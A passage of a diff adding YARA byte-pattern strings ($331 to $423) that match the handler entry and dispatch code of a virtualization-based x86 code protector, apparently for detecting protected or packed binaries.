+		$331 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 50 9C 51 57 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+		$332 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 55 53 57 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$333 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 50 55 53 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$334 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 52 9C 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$335 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 57 52 55 51 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$336 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 54 52 57 51 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$337 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 53 57 51 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$338 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 53 55 9C 57 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$339 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 9C 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$340 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 9C 54 53 55 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$341 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 56 57 9C 51 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$342 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 9C 53 54 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$343 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 57 51 9C 50 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$344 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 9C 57 52 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$345 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 53 50 57 53 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$346 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 9C 50 55 51 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$347 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 53 52 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$348 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 55 52 9C 50 51 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$349 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 52 51 55 57 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$350 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 50 9C 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$351 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 9C 51 50 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$352 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 57 54 53 9C 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$353 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 50 51 57 50 52 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$354 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 57 52 50 51 51 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$355 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 50 57 55 51 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$356 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 50 52 54 9C 53 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$357 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 56 53 51 55 9C 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$358 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$359 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 56 55 50 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$360 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 53 55 50 55 56 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$361 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 52 53 56 9C 55 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$362 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 53 52 50 51 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$363 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 52 53 55 52 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$364 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 9C 51 55 52 51 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$365 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 52 55 51 53 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$366 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 53 54 51 55 56 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$367 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 52 53 56 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+		$368 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 52 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+		$369 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 53 50 51 51 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$370 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 57 53 56 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+		$371 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 50 53 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$372 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 56 50 52 53 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$373 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 51 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$374 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 53 50 54 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$375 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 51 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$376 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 56 51 52 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$377 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 52 53 52 51 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$378 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 51 55 56 53 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$379 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 53 51 50 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$380 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 51 56 53 52 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$381 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 51 53 57 52 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$382 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 57 53 57 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$383 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 57 51 53 9C 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+		$384 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 50 53 51 57 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$385 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 52 9C 55 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$386 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 50 53 9C 57 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$387 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 55 53 51 50 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$388 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 50 52 51 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$389 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 53 9C 51 57 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$390 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 52 9C 52 51 57 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$391 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 9C 57 52 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$392 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 53 54 57 55 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$393 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 51 53 50 52 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$394 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 51 56 52 50 9C 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$395 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 57 55 53 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$396 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 56 50 9C 53 50 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$397 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 54 53 9C 55 52 50 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$398 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 56 55 55 9C 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$399 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 53 52 51 57 55 9C 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+		$400 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 50 53 51 56 55 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$401 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 9C 56 53 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+		$402 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 51 56 57 55 52 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 83 ED 02 66 89 45 00 46 E9}
+		$403 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 56 50 55 51 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$404 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 54 55 51 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$405 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 52 53 50 9C 56 53 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$406 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 52 50 56 9C 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5A 5B 59 9D 5E 58 5F 5D 5F C3}
+		$407 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 50 51 56 55 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$408 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 55 52 50 53 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$409 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 56 56 50 55 51 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$410 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9 01 7D 00 00}
+		$411 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 55 52 54 50 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$412 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 57 53 55 56 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$413 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 9C 51 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$414 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 51 57 53 9C 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$415 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 53 55 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$416 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 56 52 51 50 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+		$417 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 55 50 9C 55 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$418 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 51 9C 56 53 55 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$419 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 53 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$420 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 57 56 55 56 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$421 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 57 56 52 55 50 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$422 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 53 53 52 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$423 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 51 56 52 56 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
